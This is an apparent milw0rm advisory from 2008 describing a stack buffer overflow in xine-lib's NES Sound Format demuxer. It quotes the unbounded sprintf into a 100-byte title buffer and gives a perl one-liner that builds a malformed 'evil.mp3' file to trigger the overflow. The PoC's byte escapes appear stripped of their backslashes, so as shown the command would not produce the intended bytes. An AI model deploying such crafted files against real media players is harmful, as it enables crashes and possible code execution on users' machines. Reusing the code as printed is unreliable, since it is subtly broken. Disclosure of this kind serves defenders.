IRCRASH 0day Security Holes Center

xine-lib <= 1.1.12 NSF demuxer Stack Overflow Vulnerability PoC :

xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).


- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);


- Affected applications

http://xinehq.de/index.php/releases


- PoC

perl -e 'print 
"x4Ex45x53x4Dx1Ax01x01x01x80x80x18x8Ax03x8A" . "x41" x 
114' > evil.mp3

# milw0rm.com [2008-04-16]